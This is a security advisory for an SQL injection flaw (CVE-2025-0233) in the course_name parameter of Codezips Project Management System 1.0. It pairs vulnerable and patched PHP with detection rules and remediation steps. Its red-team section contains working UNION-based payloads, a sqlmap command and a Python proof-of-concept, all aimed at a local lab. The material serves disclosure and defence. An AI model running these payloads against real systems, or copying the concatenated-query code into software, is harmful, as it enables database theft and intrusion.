CVE-2025-0233

Executive Summary

CVE-2025-0233 is a critical unauthenticated SQL injection vulnerability discovered in the Codezips Project Management System version 1.0. The flaw resides in the /pages/forms/course.php endpoint, specifically within the course_name parameter. An attacker can inject arbitrary SQL commands without authentication, leading to full database compromise, data exfiltration, and potential server takeover. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the course_name parameter of the course.php script. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Hypothetical):

<?php
$course_name = $_GET['course_name'];
$query = "SELECT * FROM courses WHERE course_name = '$course_name'";
$result = mysqli_query($conn, $query);
?>

An attacker can inject a single quote (') to break out of the string context and append malicious SQL. For example, the payload ' OR '1'='1 would return all records. More advanced payloads can be used for UNION-based data extraction, error-based injection, or time-based blind injection.

Exploitation Mechanics:

1. Identify Injection Point: The course_name parameter in the GET request to /pages/forms/course.php.
2. Confirm Injection: Send course_name=test' and observe a database error or unexpected behavior.
3. Extract Data: Use UNION SELECT to retrieve data from other tables (e.g., users, admins).
4. Escalate: If the database user has file privileges, attempt to read/write files on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

$course_name = $_GET['course_name'];
$query = "SELECT * FROM courses WHERE course_name = '$course_name'";
$result = mysqli_query($conn, $query);

Patched Code (Using Prepared Statements):

$stmt = $conn->prepare("SELECT * FROM courses WHERE course_name = ?");
$stmt->bind_param("s", $course_name);
$course_name = $_GET['course_name'];
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

• The patched version uses a prepared statement with a parameterized query, which separates SQL logic from data.
• User input is never directly concatenated into the SQL string.
• The bind_param function ensures the input is treated as a string literal, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Codezips Project Management System 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/project/.

Exploitation Steps:

1. Manual Injection:
   • Request: GET /pages/forms/course.php?course_name=test'
   • Observe error: You have an error in your SQL syntax...
2. Extract Database Version:
   • Payload: course_name=test' UNION SELECT 1,@@version,3,4-- -
3. Extract Table Names:
   • Payload: course_name=test' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- -
4. Automated Exploitation with sqlmap:

   sqlmap -u "http://localhost/project/pages/forms/course.php?course_name=test" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://localhost/project/pages/forms/course.php"
payload = "' UNION SELECT 1,@@version,3,4-- -"
params = {'course_name': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious course_name parameters containing SQL keywords (UNION, SELECT, OR, --, #).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use the detection rules provided in the next section.

Hunting:

• Search for requests to /pages/forms/course.php with unusual parameter lengths or special characters.
• Correlate with database error logs for SQL syntax errors.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /pages/forms/course.php with course_name containing SQL metacharacters (', ", --, #, ;).
• Outbound database connections from the web server to unusual IPs (data exfiltration).
• Anomalous SQL queries in database logs (e.g., UNION SELECT, LOAD_FILE, INTO OUTFILE).

File IOCs:

• Suspicious files written to the web root (e.g., shell.php, cmd.php) if the database user has file write privileges.
• Modified .htaccess files or configuration files.

Log IOCs:

• Web server logs showing repeated 500 errors from /pages/forms/course.php.
• Database error logs containing You have an error in your SQL syntax.

Detection Engineering

YARA Rule

rule CVE_2025_0233_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0233 in Codezips Project Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0233"
    strings:
        $sqli1 = /course_name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /course_name=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
        $sqli3 = /course_name=.*%27.*(OR|AND|UNION|SELECT)/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-0233
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the course_name parameter in Codezips Project Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "course_name='"
            - "course_name=%27"
            - "course_name=1'"
            - "course_name=test'"
            - "course_name=' OR"
            - "course_name=' UNION"
            - "course_name='--"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in course names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0233 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/pages/forms/course.php"; http_uri; content:"course_name="; http_uri; pcre:"/course_name=.*['\x27].*(OR|AND|UNION|SELECT|--|#)/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, take the Codezips Project Management System offline until a patch is available.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting the course_name parameter.
3. Input Validation: Implement strict input validation on the server side. Reject any input containing SQL metacharacters.
4. Parameterized Queries: Rewrite the vulnerable code to use prepared statements or parameterized queries.

Long-Term Fix:

• Replace the vulnerable code with secure database interaction methods (e.g., PDO or MySQLi prepared statements).
• Conduct a full security audit of the application for similar vulnerabilities.
• Consider migrating to a supported and actively maintained project management solution.

Workaround:

• If source code modification is not possible, restrict access to /pages/forms/course.php via .htaccess or firewall rules to trusted IPs only.

Valters IT
Securing Digital Frontiers